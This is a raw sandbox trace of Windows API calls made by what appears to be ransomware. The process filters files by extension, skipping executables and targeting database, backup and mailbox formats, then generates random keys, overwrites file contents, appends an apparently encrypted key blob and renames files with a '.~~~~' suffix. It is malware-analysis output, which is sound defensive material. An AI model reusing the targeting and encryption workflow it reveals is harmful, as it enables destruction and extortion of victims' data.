	[0084.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.785] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4af0 | out: hHeap=0x300000) returned 1
	[0084.785] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0084.785] GetLastError () returned 0x0
	[0084.786] GetLastError () returned 0x0
	[0084.786] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0084.786] GetLastError () returned 0x0
	[0084.786] GetLastError () returned 0x0
	[0084.878] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff1d14, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.878] WriteFile (in: hFile=0x128, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0xe2ec, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0xe2ec, lpOverlapped=0x0) returned 1
	[0084.879] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0084.880] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.880] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.880] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.880] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.880] CloseHandle (hObject=0x128) returned 1
	[0084.880] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0084.881] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm.~~~~")) returned 1
	[0084.882] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fad8 | out: hHeap=0x300000) returned 1
	[0084.882] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0084.882] GetLastError () returned 0x0
	[0084.882] RtlWakeConditionVariable () returned 0x365f70
	[0084.882] GetCurrentThreadId () returned 0x9cc
	[0084.882] GetCurrentThreadId () returned 0x9cc
	[0084.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808480
	[0084.882] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6538 | out: hHeap=0x300000) returned 1
	[0084.882] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9da8 | out: hHeap=0x300000) returned 1
	[0084.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6538
	[0084.882] lstrlenW (lpString=".scr") returned 4
	[0084.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0084.882] lstrlenW (lpString=".cmd") returned 4
	[0084.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0084.882] lstrlenW (lpString=".dll") returned 4
	[0084.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0084.882] lstrlenW (lpString=".bat") returned 4
	[0084.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0084.882] lstrlenW (lpString=".cpl") returned 4
	[0084.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0084.882] lstrlenW (lpString=".sys") returned 4
	[0084.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0084.883] lstrlenW (lpString=".msc") returned 4
	[0084.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0084.883] lstrlenW (lpString=".com") returned 4
	[0084.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0084.883] lstrlenW (lpString=".lnk") returned 4
	[0084.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0084.883] lstrlenW (lpString=".msp") returned 4
	[0084.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0084.883] lstrlenW (lpString=".pif") returned 4
	[0084.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0084.883] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0084.883] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0085.129] lstrlenW (lpString=".sqb") returned 4
	[0085.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0085.130] lstrlenW (lpString=".ost") returned 4
	[0085.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0085.130] lstrlenW (lpString=".txt") returned 4
	[0085.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0085.130] lstrlenW (lpString=".mdt") returned 4
	[0085.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0085.130] lstrlenW (lpString=".BDB") returned 4
	[0085.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0085.130] lstrlenW (lpString=".eql") returned 4
	[0085.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0085.130] lstrlenW (lpString=".DBF") returned 4
	[0085.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0085.130] lstrlenW (lpString=".EQL") returned 4
	[0085.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0085.130] lstrlenW (lpString=".FDB") returned 4
	[0085.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0085.130] lstrlenW (lpString=".EDB") returned 4
	[0085.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0085.130] lstrlenW (lpString=".DACPAC") returned 7
	[0085.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0085.130] lstrlenW (lpString=".VHD") returned 4
	[0085.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0085.130] lstrlenW (lpString=".DBV") returned 4
	[0085.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0085.130] lstrlenW (lpString=".dacpac") returned 7
	[0085.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0085.130] lstrlenW (lpString=".sdf") returned 4
	[0085.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0085.130] lstrlenW (lpString=".accdb") returned 6
	[0085.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0085.130] lstrlenW (lpString=".DBX") returned 4
	[0085.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0085.130] lstrlenW (lpString=".MDT") returned 4
	[0085.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0085.131] lstrlenW (lpString=".SQB") returned 4
	[0085.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0085.131] lstrlenW (lpString=".vhd") returned 4
	[0085.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0085.131] lstrlenW (lpString=".bac") returned 4
	[0085.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0085.131] lstrlenW (lpString=".mdf") returned 4
	[0085.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0085.131] lstrlenW (lpString=".BAK") returned 4
	[0085.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0085.131] lstrlenW (lpString=".BAC") returned 4
	[0085.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0085.131] lstrlenW (lpString=".dbs") returned 4
	[0085.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0085.131] lstrlenW (lpString=".vhdx") returned 5
	[0085.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0085.131] lstrlenW (lpString=".NDF") returned 4
	[0085.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0085.131] lstrlenW (lpString=".dat") returned 4
	[0085.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0085.131] lstrlenW (lpString=".DBS") returned 4
	[0085.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0085.131] lstrlenW (lpString=".CKP") returned 4
	[0085.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0085.131] lstrlenW (lpString=".edb") returned 4
	[0085.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0085.131] lstrlenW (lpString=".PST") returned 4
	[0085.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0085.131] lstrlenW (lpString=".dbf") returned 4
	[0085.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0085.131] lstrlenW (lpString=".SQL") returned 4
	[0085.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0085.131] lstrlenW (lpString=".pst") returned 4
	[0085.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0085.132] lstrlenW (lpString=".dbv") returned 4
	[0085.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0085.132] lstrlenW (lpString=".SDF") returned 4
	[0085.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0085.132] lstrlenW (lpString=".dtxs") returned 5
	[0085.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0085.132] lstrlenW (lpString=".db3") returned 4
	[0085.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0085.132] lstrlenW (lpString=".OST") returned 4
	[0085.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0085.132] lstrlenW (lpString=".dbx") returned 4
	[0085.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0085.132] lstrlenW (lpString=".DB3") returned 4
	[0085.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0085.132] lstrlenW (lpString=".DAT") returned 4
	[0085.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0085.132] lstrlenW (lpString=".VHDX") returned 5
	[0085.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0085.132] lstrlenW (lpString=".ndf") returned 4
	[0085.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0085.132] lstrlenW (lpString=".DB") returned 3
	[0085.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0085.132] lstrlenW (lpString=".sql") returned 4
	[0085.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0085.132] lstrlenW (lpString=".MYD") returned 4
	[0085.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0085.132] lstrlenW (lpString=".DBT") returned 4
	[0085.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0085.132] lstrlenW (lpString=".ACCDB") returned 6
	[0085.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0085.132] lstrlenW (lpString=".fdb") returned 4
	[0085.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0085.133] lstrlenW (lpString=".bak") returned 4
	[0085.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0085.133] lstrlenW (lpString=".myd") returned 4
	[0085.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0085.133] lstrlenW (lpString=".DTXS") returned 5
	[0085.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0085.133] lstrlenW (lpString=".ckp") returned 4
	[0085.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0085.133] lstrlenW (lpString=".dbt") returned 4
	[0085.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0085.133] lstrlenW (lpString=".db") returned 3
	[0085.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0085.133] lstrlenW (lpString=".TXT") returned 4
	[0085.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0085.133] lstrlenW (lpString=".MDF") returned 4
	[0085.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0085.133] lstrlenW (lpString=".bdb") returned 4
	[0085.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0085.133] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0085.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0085.136] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0085.136] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0085.136] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0085.221] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0085.221] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0085.221] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0085.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0085.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0085.221] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20521102706) returned 1
	[0085.221] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9c9c8f10, dwHighDateTime=0x1d60e1e)) 
	[0085.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0085.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0085.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0085.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2ad8
	[0085.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0085.221] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2ad8 | out: hHeap=0x300000) returned 1
	[0085.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0085.221] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0085.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab8b8
	[0085.221] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0085.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.221] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab8b8 | out: hHeap=0x300000) returned 1
	[0085.221] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0085.222] GetLastError () returned 0x0
	[0085.222] GetLastError () returned 0x0
	[0085.222] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0085.222] GetLastError () returned 0x0
	[0085.222] GetLastError () returned 0x0
	[0085.223] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffffaac, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.223] WriteFile (in: hFile=0x128, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x554, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x554, lpOverlapped=0x0) returned 1
	[0085.224] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0085.224] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.224] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0085.224] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0085.224] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0085.224] CloseHandle (hObject=0x128) returned 1
	[0085.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0085.224] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.~~~~")) returned 1
	[0085.225] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fad8 | out: hHeap=0x300000) returned 1
	[0085.225] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0085.225] GetLastError () returned 0x0
	[0085.225] RtlWakeConditionVariable () returned 0x365f70
	[0085.225] GetCurrentThreadId () returned 0x9cc
	[0085.225] GetCurrentThreadId () returned 0x9cc
	[0085.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808480
	[0085.225] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4118 | out: hHeap=0x300000) returned 1
	[0085.225] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cf58 | out: hHeap=0x300000) returned 1
	[0085.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4118
